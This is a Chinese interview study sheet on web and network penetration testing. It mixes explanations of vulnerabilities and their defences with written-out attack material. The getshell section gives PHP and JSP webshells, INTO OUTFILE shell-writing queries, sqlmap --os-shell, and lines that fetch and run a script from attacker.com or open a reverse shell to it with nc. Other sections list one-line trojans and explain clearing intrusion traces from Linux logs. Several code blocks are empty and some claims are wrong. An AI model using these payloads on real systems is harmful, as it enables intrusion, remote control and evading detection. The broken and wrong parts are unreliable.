cookie 和 session 的区别
cookie 和 session 都是客户端与服务器之间保持状态的解决方案。
1)存储的位置不同
cookie 存放在客户端,session 存放在服务端。session 存储的数据比较安全
2)存储的数据类型不同
两者都是 key-value 的结构,但针对 value 的类型是有差异的:
cookie:value 只能是字符串类型,session:value 是 Object 类型
3)存储的数据大小限制不同
cookie 大小受浏览器的限制,很多是 4K 的大小;session 理论上受当前内存的限制
4)生命周期的控制
cookie 的生命周期当浏览器关闭的时候,就消亡了。
cookie 的生命周期是累计的,从创建时,就开始计时,20 分钟后,cookie 生命周期结束;
session 的生命周期是间隔的,从创建时,开始计时如在 20 分钟,没有访问 session,那么 session 生命周期被销毁。
GET 和 POST 的区别
1)GET 是获取数据;POST 是修改数据
2)GET 把请求的数据放在 url 上,以?分割 URL 和传输数据,参数之间以&相连,所以 GET 不太安全;而 POST 把数据放在 HTTP 的包体内(request body)
3)GET 提交的数据最大是 2k(限制实际上取决于浏览器);POST 理论上没有限制。
4)GET 产生一个 TCP 数据包,浏览器会把 http header 和 data 一并发送出去,服务器响应 200(返回数据);POST 产生两个 TCP 数据包,浏览器先发送 header,服务器响应 100 continue,浏览器再发送 data,服务器响应 200 ok(返回数据)
5)GET 请求会被浏览器主动缓存;而 POST 不会,除非手动设置
OSI 的七层模型都有哪些
物理层:利用传输介质为数据链路层提供物理连接,实现比特流的透明传输。
数据链路层:接收来自物理层的位流形式的数据,并封装成帧,传送到上一层
网络层:将网络地址翻译成对应的物理地址,并通过路由选择算法为分组通过通信子网选择最适当的路径。
传输层:在源端与目的端之间提供可靠的透明数据传输
会话层:负责在网络中的两节点之间建立、维持和终止通信
表示层:处理用户信息的表示问题,数据的编码,压缩和解压缩,数据的加密和解密
应用层:为用户的应用进程提供网络通信服务
条件竞争漏洞原理与举例
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
举个例子,很多 web 程序都会有上传文件的功能,头像和图像等,服务器肯定会检查文件是否满足条件,不满足的要被删除。那么问题就在于,如果我们采用大量的并发请求,就传递一个生成恶意 webshell 的图像,访问它就可以生成 webshell。
在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意 shell 的文件。
至此该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功地在服务器中植入了一个 shell 文件,后续的一切就都不是问题了。
XSS 攻击如何进行防护
1)将 HTML 元素内容、属性以及 URL 请求参数、CSS 值进行编码
2)当编码影响业务时,使用白名单规则进行检测和过滤
3)使用 W3C 提出的 CSP (Content Security Policy,内容安全策略),定义域名白名单
4)设置 Cookie 的 HttpOnly 属性。
应该如何防范 CSRF 攻击
1)针对实际情况,设置关键 Cookie 的 SameSite 属性为 Strict 或 Lax
2)服务端验证请求来源站点(Referer、Origin)
3)使用 CSRF Token,服务端随机生成返回给浏览器的 Token,每一次请求都会携带不同的 CSRF Token
4)加入二次验证(独立的支付密码)
如何突破注入时字符被转义
宽字符注入、hex 编码绕过
- 宽字符注入:宽字符注入是一种利用宽字符集中的字符进行SQL注入的技术。在某些数据库系统中,宽字符集中的字符可能不会被正确地转义,从而可以绕过安全措施。例如,在MySQL中,可以使用%df来表示一个宽字符,然后在注入的SQL语句中使用这个字符。
- Hex编码绕过:将注入的SQL语句中的特定字符转换为十六进制编码,可以绕过一些简单的字符过滤机制。例如,如果’(单引号)被过滤,可以使用0x27来代替。
- 使用URL编码:URL编码是一种将字符转换为%后跟两位十六进制数的方法,这可以绕过一些基于字符串匹配的安全检查。例如,%22是双引号”的URL编码,%3C是小于号<的URL编码。
在PHP、Java和Python中,执行代码、读取文件和执行命令的相关函数如下:
PHP
代码执行
eval(): 把字符串作为PHP代码执行。assert(): 执行一个字符串作为PHP代码(需要开启assertion)。create_function(): 创建一个匿名(Lambda风格)函数(已在PHP 7.2中废弃)。call_user_func()和call_user_func_array(): 调用回调函数。
文件读取
file_get_contents(): 读取整个文件的内容。highlight_file(): 显示文件的源代码并高亮显示关键字。fopen(),readfile(),fread(),fgets(),fgetss(): 用于打开文件、读取文件内容。parse_ini_file(): 解析配置文件。show_source(): 显示文件源代码。file(): 将文件读入一个数组中,每行作为一个数组元素。
命令执行
system(): 执行外部程序,并显示输出。exec(): 执行外部程序,并返回输出作为字符串。shell_exec(): 执行外部shell命令,并返回完整的输出作为字符串。passthru(): 执行外部程序,并传递原始输出直接到浏览器。pcntl_exec(): 在当前进程空间执行指定程序(需要pcntl扩展)。popen()和proc_open(): 执行命令并打开用于输入和/或输出的文件指针。
Java
代码执行: Java语言本身不提供直接执行字符串代码的函数,因为这会带来严重的安全风险。Java通过编译执行字节码,通常需要通过类加载器加载类文件。
文件读取
java.nio.file.Files类中的readAllBytes(),readAllLines(): 读取文件的所有字节或行。java.io包中的FileInputStream,BufferedReader: 用于读取文件的字节流和字符流。
命令执行
Runtime.getRuntime().exec(): 执行指定命令并返回Process对象。ProcessBuilder: 启动操作系统进程,可以设置环境变量和工作目录。
Python
代码执行
exec(): 执行动态生成的Python代码字符串。eval(): 计算字符串表达式的值,并返回结果。compile(): 将字符串编译成代码对象,可以和exec()或eval()一起使用。
文件读取
open(): 打开文件并返回文件对象。read(),readline(),readlines(): 从文件对象中读取内容。pathlib.Path.read_text(): 读取文本文件的内容。
命令执行
os.system(): 执行命令并等待命令执行完毕。subprocess.run(),subprocess.Popen(): 执行命令并提供更多控制,如捕获输出。
盲注是什么,怎么盲注
盲注是在 SQL 注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在 SQL 注入和利用的方式。
盲注的手段有两种:
一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入;
一个是通过 sql 语句处理时间的不同来判断是否存在注入(time-based),可以用 benchmark,sleep 等造成延时效果的函数,也可以通过构造大笛卡尔积的联合查询表来达到延时的目的。
Boolean-based盲注:
- 假设我们有一个基于用户输入的查询,例如:
SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'" - 攻击者可能会尝试发送一个用户名,其中包含SQL逻辑,例如:
' OR '1'='1 - 如果这个查询导致返回所有用户,那么攻击者就可以推断出注入是可能的。
- 假设我们有一个基于用户输入的查询,例如:
Time-based盲注:
- 使用
SLEEP()函数来延迟响应时间,例如:' OR SLEEP(5)=0 - 如果响应时间明显变长,那么攻击者就可以推断出注入是可能的。
- 使用
笛卡尔积是指两个集合的所有可能的有序对的集合。在数据库查询中,如果两个表进行笛卡尔积查询,那么会返回两个表行数相乘的结果集。
大笛卡尔积是指构造一个查询,使得查询结果集非常大,从而显著增加查询的执行时间。例如:
1 | SELECT * |
如果users表有1000行,addresses表有500行,orders表有200行,那么这个查询可能会返回100,000,000(1000 * 500 * 200)行结果,这将显著增加查询的执行时间,从而可以用来进行时间盲注攻击。
宽字节注入产生原理以及根本原因
1)产生原理:在数据库使用了宽字符集而 WEB 中没考虑这个问题的情况下,由于 0xBF27 是两个字符,在 PHP 中 addslash 和 magic_quotes_gpc 开启时,会对 0x27 单引号进行转义,因此 0xbf27 会变成 0xbf5c27。
而数据进入数据库中时,由于 0XBF5C 是一个另外的字符,因此转义符号会被前面的 bf 带着“吃掉”,单引号由此逃逸出来可以用来闭合合语句。
2)根本原因:
character_set_client(客户端的字符集)和 character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding 使用不当。
3)解决办法:统一数据库、Web 应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为 UTF-8。或对数据进行正确的转义,如 mysql_real_escape_string+mysql_set_charset 的使用。
mysql 的网站注入 5.0 以上和 5.0 以下有什么区别
5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表名;
5.0 以下是多用户单操作,5.0 以上是多用户多操作。
SSRF 漏洞的验证方法
因为 SSRF 漏洞是让服务器发送请求的安全漏洞,所以就可以通过抓包分析发送的请求是否是由服务器所发送的,从而来判断是否存在 SSRF 漏洞;
在页面源码中查找访问的资源地址,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在 SSRF 漏洞。
SSRF 漏洞的成因、防御、绕过
成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。
利用:构造恶意内网 IP 做探测,或者使用其余所支持的协议对其余服务进行攻击。防御:禁止跳转,限制协议,内外网限制,URL 限制。
绕过:使用不同协议,针对 IP,IP 格式的绕过,针对 URL,恶意 URL 增添其他字符,@之类的。301 跳转+dns rebinding。
导致文件包含的函数
PHP:include(), include_once(), require(), require_once(), fopen(), readfile()
JSP/Servlet:java.io.File(), java.io.FileReader()
ASP:include file, include virtual
PHP
在PHP中,文件包含函数允许你将一个文件作为另一个文件的一部分包含进来。这些函数可以包含文本文件、PHP脚本或其他任何类型的文件。如果被包含的文件中包含PHP代码,那么这段代码也会被执行。
include(): 如果文件找不到,会发出一个警告,但脚本会继续执行。include_once(): 类似于include(),但即使文件被多次包含,也只会包含一次。require(): 如果文件找不到,会发出一个致命错误,脚本会停止执行。require_once(): 类似于require(),但即使文件被多次包含,也只会包含一次。fopen(): 打开文件或者URL,返回一个文件指针。readfile(): 读取文件并输出到浏览器。
JSP/Servlet
在Java的JSP和Servlet中,可以使用java.io.File和java.io.FileReader类来读取文件内容。
java.io.File(): 创建一个File对象,表示一个文件或目录。java.io.FileReader(): 创建一个FileReader对象,用于读取字符文件。
ASP
在ASP(Active Server Pages)中,可以使用以下函数来包含文件:
include file: 包含一个文件,可以是ASP文件或其他文本文件。include virtual: 类似于include file,但可以包含虚拟路径中的文件。
文件上传漏洞绕过方法
前端 Js 绕过、黑白名单绕过、文件类型绕过(mime、文件头、文件内容)、路径截断绕过(00 截断)、中间件解析漏洞、条件竞争、二次渲染、编辑器漏洞
文件上传防御方法
上传目录的用户执行权限全部取消、判断文件类型、使用随机数改写文件名和文件路径、网站服务器和文件服务器分离、白名单检查、限制文件大小
Sqlmap常用参数
-u(指定url)、-r(读取需要注入的post请求的文本)、-m(批量跑get注入)、-p(指定注入参数)、–current-db(获取当前数据库)、–table(枚举数据库表)、–tamper(使用过waf脚本)
XXE 漏洞原理与防御
原理:XXE(XML 外部实体注入,XML External Entity),在应用程序解析 XML 输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起 DoS 拒绝服务攻击、执行系统命令等。
Java 中的 XXE 支持 sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用 file 协议读取文件,利用 http 协议探测内网。
防御:配置 XML 处理器使用禁用 DTD、禁止外部实体解析、通过黑名单过滤用户提交的 XML 数据。
XXE(XML External Entity)漏洞是一种常见的安全漏洞,它允许攻击者通过恶意构造的XML数据来访问或破坏系统资源。以下是一些具体的XXE漏洞示例和防御措施:
1. 文件读取
攻击者可以通过XXE漏洞读取服务器上的敏感文件。例如,攻击者可以提交以下XML数据:
1 |
|
这段XML定义了一个外部实体file,它引用了服务器上的/etc/passwd文件。当应用程序解析这个XML时,会读取该文件的内容并将其包含在响应中。
2. 内网探测
攻击者可以利用XXE漏洞探测内网中的其他系统。例如,攻击者可以提交以下XML数据:
1 |
|
这段XML定义了一个外部实体scan,它引用了内网中的一个URL。当应用程序解析这个XML时,会尝试访问该URL,从而暴露了内网的存在。
3. 拒绝服务攻击(DoS)
攻击者可以通过XXE漏洞发起拒绝服务攻击。例如,攻击者可以提交以下XML数据:
1 |
|
这段XML定义了多个外部实体,每个实体都引用了一个无限大的文件(如/dev/zero)。当应用程序解析这个XML时,会尝试读取这些文件,导致资源耗尽,从而引发拒绝服务攻击。
防御措施
1. 禁用DTD
在XML解析器中禁用DTD(Document Type Definition)可以防止外部实体的解析。例如,在Java中,可以使用以下代码:
1 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); |
这段代码禁用了DTD,从而防止了XXE攻击。
2. 禁止外部实体解析
在XML解析器中禁止外部实体解析。例如,在Java中,可以使用以下代码:
1 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); |
这段代码禁止了外部实体的解析,从而防止了XXE攻击。
3. 通过黑名单过滤用户提交的XML数据
在应用程序中,可以使用黑名单来过滤用户提交的XML数据,防止恶意构造的XML数据被解析。例如,可以使用正则表达式来检测XML数据中是否包含外部实体的定义:
1 | String xmlData = ...; // 用户提交的XML数据 |
任意文件下载漏洞的修复方案
1)过滤用户数据,如“/”,“*”,”.”等特殊字符
2)更新中间件
3)要下载的文件地址保存至数据库中
4)文件路径保存至数据库,让用户提交文件对应 ID 或 session 下载文件
5)用户下载文件之前需要进行权限判断
6)文件放在 web 无法直接访问的目录下
7)不允许提供目录遍历服务
8)公开文件可放置在 web 应用程序下载目录中通过链接进行下载
CSRF 攻击和 XSS 攻击有什么区别
CSRF 攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。
CSRF 攻击成本也比 XSS 低,用户每天都要访问大量网页,无法确认每一个网页的合法性,从用户角度来说,无法彻底防止 CSRF 攻击。
发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选
有写入权限的,构造联合查询语句使用 using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高。
通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell。
适用前提:
- 目标数据库是 MySQL,并且当前数据库用户有
FILE权限。 - Web 目录(如
htdocs、www)对数据库用户是可写的。
利用方式:
如果数据库用户拥有 FILE 权限,可以使用 INTO OUTFILE 直接写入 WebShell:
1 | SELECT "<?php eval($_POST['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' |
或者在 Windows 下:
1 | SELECT "<?php eval($_POST['cmd']); ?>" INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php' |
这样 shell.php 便可通过 POST 方式执行任意命令:
1 | curl -X POST --data "cmd=system('whoami');" http://target.com/shell.php |
局限性:
secure_file_priv可能会限制OUTFILE的使用。- Web 服务器可能禁止
.php解析(如使用htaccess限制)。 - 需要确认 Web 目录的路径,若不清楚可以尝试写入
/tmp/再尝试文件包含。
优化方案:
可以结合 SQLMap 自动执行:
1 | sqlmap -u "http://target.com/demo.jsp?uid=110" --file-write="shell.php" --file-dest="/var/www/html/shell.php" |
然后访问 http://target.com/shell.php,即可执行任意 PHP 代码。
2. 使用 LOAD_FILE() 读取 WebShell
如果 INTO OUTFILE 受限,但 LOAD_FILE() 可用,可以读取已有 WebShell 或配合 文件包含漏洞(LFI):
1 | SELECT LOAD_FILE('/var/www/html/config.php'); |
如果 Web 服务器存在 文件包含漏洞,可以结合 SQL 注入利用:
1 | SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/tmp/shell.php'; |
然后通过 LFI 访问 /tmp/shell.php。
3. SQLMap 自动获取 Shellsqlmap 自带 --os-shell 选项,可以自动执行系统命令:
1 | sqlmap -u "http://target.com/demo.jsp?uid=110" --os-shell |
如果数据库用户具备 写文件权限,SQLMap 会自动创建 WebShell,并提供交互式命令行。
(1) MySQL+JSP:写入 WebShell
如果 Web 服务器运行的是 JSP,并且 INTO OUTFILE 可用,可以写入 .jsp WebShell:
1 | SELECT "<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>" INTO OUTFILE '/var/www/html/shell.jsp'; |
然后通过:
1 | curl "http://target.com/shell.jsp?cmd=id" |
执行命令。
(2) MySQL+Tomcat:写入 WAR WebShell
如果 INTO OUTFILE 受限,但数据库用户有 写入 Web 目录权限,可以直接上传 .war 文件:
- 生成 JSP WebShell:
1
2
3
4
5
6
7
8
9
10<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
%> - 压缩为
.war:1
jar -cvf shell.war shell.jsp
- 使用 SQL 注入上传:
1
2SELECT '<?xml version="1.0" encoding="UTF-8"?><context><WatchedResource>WEB-INF/web.xml</WatchedResource></context>'
INTO OUTFILE '/usr/local/tomcat/webapps/shell.war'; - 访问
http://target.com/shell/cmd.jsp?cmd=id,成功执行命令。
5. 通过 Java 反序列化漏洞 Getshell
如果目标应用使用了 Apache Commons Collections、fastjson 等,可能存在 Java 反序列化漏洞:
1 | java -jar ysoserial.jar CommonsCollections5 "curl http://attacker.com/shell.sh | bash" > payload.ser |
然后通过 SQL 注入写入:
1 | INSERT INTO users (username, password) VALUES ('admin', LOAD_FILE('/tmp/payload.ser')); |
如果应用程序读取 users 表数据,可能触发反序列化漏洞,执行恶意命令。
6. Java WebShell 持久化方式
如果成功 Getshell,可以持久化访问:
- **修改 Tomcat
web.xml**:1
2
3
4<servlet>
<servlet-name>shell</servlet-name>
<jsp-file>/shell.jsp</jsp-file>
</servlet> - 利用 ScheduledTask 创建反向 Shell:
1
Runtime.getRuntime().exec("nc -e /bin/bash attacker.com 4444");
- 植入 Java Agent(适用于 Spring Boot):
1
java -javaagent:shell.jar -jar target.jar
说出至少三种业务逻辑漏洞,以及修复方式
密码找回漏洞中存在:密码允许暴力破解 存在通用型找回凭证 可以跳过验证步骤 找回凭证可以拦包获取 等方式来通过厂商提供的密码找回功能来得到密码。
身份认证漏洞中最常见的是: 会话固定攻击 Cookie 仿冒 只要得到 Session 或 Cookie 即可伪造用户身份。
验证码漏洞中存在: 验证码允许暴力破解 验证码可以通过 Javascript 或者改包的方法来进行绕过
sqlmap 怎么对一个注入点注入**
- 如果是 GET 型注入点,直接使用命令:
sqlmap -u "注入点网址" - 如果是 POST 型注入点,可以使用命令:
sqlmap -u "注入点网址" --data="post 的参数" - 如果是 cookie、X-Forwarded-For 等,可以在访问的时候,用 Burp Suite 抓包,将注入点用引号替换,放到文件里,然后使用命令:
sqlmap -r "文件地址"
延时注入如何来判断
if(ascii(substring(“hello”, 1, 1))=104, sleep(5), 1)
OWASP 漏洞都有哪些**
- SQL 注入防护方法
- 失效的身份认证和会话管理
- 跨站脚本攻击 XSS
- 直接引用不安全的对象
- 安全配置错误配置
- 敏感信息泄露
- 缺少功能级的访问控制
- 跨站请求伪造 CSRF
- 使用含有已知漏洞的组件
- 未验证的重定向和转发
SQL 里面只有 update 怎么利用**
先理解这句 SQL:UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此 SQL 被修改成以下形式,就实现了注入。
修改 homepage 值为
http://xxx.net', userlevel='3
之后 SQL 语句变为:UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'
userlevel 为用户级别修改 password 值为
mypass')' WHERE username='admin'#
之后 SQL 语句变为:UPDATE user SET password='MD5(mypass)' WHERE username='admin'#', homepage='$homepage' WHERE id='$id'修改 id 值为
' OR username='admin'
之后 SQL 语句变为:UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
讲解:
这段内容描述了在SQL注入攻击中,如何利用UPDATE语句进行注入攻击。SQL注入是一种常见的网络攻击方式,攻击者通过在SQL语句中插入恶意代码,以获取、修改或删除数据库中的数据。
- 修改
homepage值:通过将homepage参数修改为包含单引号的URL,可以破坏原有的SQL语句结构,使得SQL语句执行攻击者想要的操作。例如,添加userlevel参数可以插入额外的SQL命令。 - 修改
password值:通过在password参数中插入单引号和注释符号#,可以注释掉WHERE子句后面的内容,使得WHERE条件失效,从而影响所有用户。 - 修改
id值:通过将id参数修改为' OR username='admin',可以绕过WHERE条件,使得UPDATE语句对所有用户名为admin的用户生效。
DOM 型和 XSS 自动化测试或人工测试**
人工测试思路:找到类似 document.write、innerHTML 赋值、outerHTML 赋值、window.location 操作、写 javascript 后内容、eval、setTimeout、setInterval 等直接执行之类的函数点。
找到其变量,回溯变量来源观察是否可控,是否经过安全函数。自动化测试参考道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否存在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个 javascript 解析器,否则会漏掉一些通过 js 执行带入的部分内容。
对于 XSS 怎么修补建议
输入点检查:对用户输入的数据进行合法性检查,使用 filter 过滤敏感字符或对输入进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。
输出点检查:对变量输出到 HTML 页面中时,对输出内容进行编码转义,输出在 HTML 中时,对其进行 HTMLEncode,如果输出在 Javascript 脚本中时,对其进行 JavascriptEncode。对使用 JavascriptEncode 的变量都放在引号中并转义危险字符,data 部分就无法逃逸出引号外成为 code 的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML 的解析会优先于 Javascript 的解析,编码的方式也需要考虑清楚。
除此之外,还有做 HTTPOnly 对 Cookie 劫持做限制。
CSRF 的防御
验证 Referer、添加 token
token 和 referer 做横向对比,谁安全等级高
token 安全等级更高,因为并不是任何服务器都可以取得 referer,如果从 HTTPS 跳到 HTTP,也不会发送 referer。并且 FLASH 一些版本中可以自定义 referer。但是 token 的话,要保证其足够随机且不可泄露。
对 referer 的验证,从什么角度去做?如果做,怎么杜绝问题
对 header 中的 referer 的验证,一个是空 referer,一个是 referer 过滤或者检测不完善。为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。
针对 token 攻击,你会对 token 的哪方面进行测试
针对 token 的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击。信息泄露有可能是缓存、日志、get,也有可能是利用跨站。很多跳转登录的都依赖 token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了。
另外也可以结合着其它业务来描述 token 的安全性及设计不好怎么被绕过比如抢红包业务之类的。
简述你知道的一句话木马**
ASP:<%eval request("cmd")%>
ASP.NET:(aspx)<%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe")%>
PHP:<?php @eval($_REQUEST['cmd']);?>
假设渗透时发现服务器开了 21, 80, 445, 3306, 11211 端口,你有什么渗透思路
针对 21 端口:21 端口开放表明运行 FTP 服务,可以尝试对 FTP 进行爆破和尝试匿名 anonymous/空登陆。以及使用 MS12-073 的攻击尝试。
针对 80 端口:80 端口对应 web 服务,可通过信息收集,分析出去中间件类型和版本,后端语言类型。还有 CMS 类型,看是否有已知漏洞可利用。若无,对 Web 站点进行渗透测试,查看是否存在注入等漏洞。
针对 445 端口:445 端口对应网络共享 SMB 服务,可尝试利用 ms08-067, ms17-010 等溢出漏洞对服务器进行攻击。也可以尝试使用 IPC$进行攻击。
针对 3306 mysql 端口:3306 端口也可以采用爆破的方式。成功后可以用 mysql 写 webshell,或者构造 VBS 写入服务器启动项,带服务器重启就可以添加管理员账号和打开 3389 端口。
针对 11211 端口:11211 端口是 memcached 服务的端口。memcached 默认情况下存在未授权访问漏洞,telnet ip 就可以获得服务器敏感信息。对进一步渗透提供帮助。
假设渗透时发现服务器开放了 22、8088、8161、6379 端口,你有什么渗透思路
- 22 端口是 Linux 服务器的 SSH 远程登录协议,一般使用爆破的方法
- 8088 端口是 Hadoop Yarn 资源管理系统 REST API存在未授权漏洞.通过 curl -v -X POST申请新的application,构造任务后即可在相应目录生成webshell
- 8161 运行着 Apache ActiveMQ。其 Console 存在默认端口和默认密码/未授权访问(默认密码为 admin:admin)。当 ActiveMQ 开启 PUT 请求时(默认开启),构造好 Payload(即不存在的目录),Response 会返回相应的物理路径信息。ActiveMQ 默认开启 PUT 方法,当 fileserver 存在时我们可以上传 jspwebshell。ActiveMQ 除了支持 PUT 协议之外,还支持 MOVE 协议,可导致任意文件移动漏洞。
- 6379 是 Redis 数据库的默认端口,Redis 未授权访问可以导致未授权访问,通过连接 redis(redis-cli) 可直接写入 webshell。写入 webshell 后利用冰蝎、蚁剑等工具连接,获取 shell。以及写入 SSH 公钥,获取服务器权限。具体操作可参考相关工具文档。
渗透测试流程
信息收集
a、服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
b、网站指纹识别(包括,cms,cdn,证书等),dns记录
c、whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
d、子域名收集,旁站,C段等
e、google hacking 针对化搜索,pdf文件,中间件版本,弱口令扫描等
f、扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
g、传输协议,通用漏洞,exp,github源码等漏洞挖掘
a、浏览网站,看看网站规模,功能,特点等
b、端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏滴血,mysql,ftp,ssh 弱口令等。
c、XSS,SQL 注入,上传,命令注入,CSRF,cookie 安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等漏洞利用&权限提升
a、mysql 提权,serv-u 提权,oracle 提权
b、windows 溢出提权
c、linux 脏牛,内核漏洞提权清除测试数据&输出报告
日志,测试数据的清理
总结,输出渗透测试报告,附修复方案
入侵 Linux 后需要清除哪些日志
1)web 日志如 apache 的 access.log,error.log。直接将日志清除过于明显,一般使用 sed 进行定向清除:sed -i -e ‘/192.169.1.1/d’
2)history 命令的清除,也是对 ~/.bash_history 进行定向清除
3)wtmp 日志的清除,/var/log/wtmp
4)登录日志清除 /var/log/secure
域内横向移动
在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows 操作系统的整个内网环境,控制域环境下的全部机器。
Windows、linux 反弹 shell 的方式
Windows: powershell 反弹 shell、powercat 反弹 shell
Linux: bash 反弹 shell、netcat 反弹 shell、wget 反弹 shell、python 反弹 shell、php 反弹 shell
子域名搜集的方式
可以从 js 文件中寻找、搜索引擎(谷歌语法、fofa)、证书查询、使用 crossdomain.xml 文件、dns 记录、枚举、域传送漏洞。
Oneforall 搜索的原理
利用证书透明度、网上爬虫档案、DNS 数据集、DNS 查询、威胁情报平台数据、搜索引擎、常规检查来进行子域名搜集的。
拿到一个待检测的站,你觉得应该先做什么
1)获取域名的 whois 信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号,里面或许会找出管理员设置密码的习惯。利用已有信息生成专用字典。
2)查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的 cms 或者其他漏洞。
3)查看服务器操作系统版本,web 中间件,看看是否存在已知的漏洞,比如 IIS,APACHE,NGINX 的解析漏洞。
4)查看 IP,进行 IP 地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏滴血,mysql,ftp,ssh 弱口令等。
5)扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如 php 探针。
6)google hack 进一步探测网站的信息,后台,敏感文件。
剩下就是上面的测试流程了
渗透测试中常见的端口
1)web 类(web 漏洞/敏感目录)第三方通用组件漏洞 struts thinkphp jboss ganglia Zabbix:80 web、80-89 web、8000-9090 web
2)数据库类(扫描弱口令):1433 MSSQL、1521 Oracle、3306 MySQL、5432 PostgreSQL
3)特殊服务类(未授权/命令执行类/漏洞):443 SSL 心脏滴血、873 Rsync 未授权、5984 CouchDB http://xxx:5984/_utils/、6379 redis 未授权、7001,7002 WebLogic 默认弱口令,反序列、9200,9300 elasticsearch 参考 WooYun:多玩某服务器 ElasticSearch 命令执行漏洞、11211 memcache 未授权访问、27017,27018 Mongodb 未授权访问、50000 SAP 命令执行、50070,50030 hadoop 默认端口未授权访问
4)常用端口类(扫描弱口令/端口爆破):21 ftp、22 SSH、23 Telnet、2601,2604 zebra 路由,默认密码 zebra、3389 远程桌面
12、简述 nmap 参数和不同方法扫描的优缺点
-ST—TCP(全)连接扫描,准确但留下大量日志记录
-SS—TCP SYN(半)扫描,速度较快,不会留下日志
-sN—null 扫描,标志位全为 0,不适用 Windows
-sF—FIN 扫描,标志位 FIN=1,不适用 Windows
-O—查看目标主机版本
-sV—探测服务版本
-A—全面扫描
简述 Windows 及 linux 平台提权方法
Windows 根据系统中没有打的补丁编号直接找 exp 提权;
linux 通过系统内核提权,uname -r 查看系统内核版本,查找漏洞下载 exp 提权。
简述 linux 系统中查询日志方法
登录日志 last;
操作日志 history;
启动信息和错误日志/var/log/message;
安全日志/var/log/secure;
邮件日志/var/log/maillog;
计划任务日志/var/log/cron;
描述一下 DeDecms 任意密码重置漏洞
DeDecms 是用户使用最多的 PHP 类 cms 系统。DeDecms 的任意密码重置漏洞通过遍历 UID 的方式获取返回的静态 gourl 跳转地址,而 CMS 未对更改密码的跳转地址进行参数隐藏导致更改密码的临时密码被泄露,泄露以后构造 URL 传入临时密码,可以不需要任何验证即可更改任意用户密码。
常见的网站服务器容器
IIS、Apache、nginx、Lighttpd、Tomcat
如何检测 iis 短文件名漏洞
方法一:使用 iis_shortname_Scan.py 脚本进行检测
用法:python IIS_shortname_Scan.py http://www.target.com/
方法二:使用 nmap,命令为 nmap -p 80 –script http-iis-short-name-brute 192.168.0.1/24
IIS短文件名漏洞是由于HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的,它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
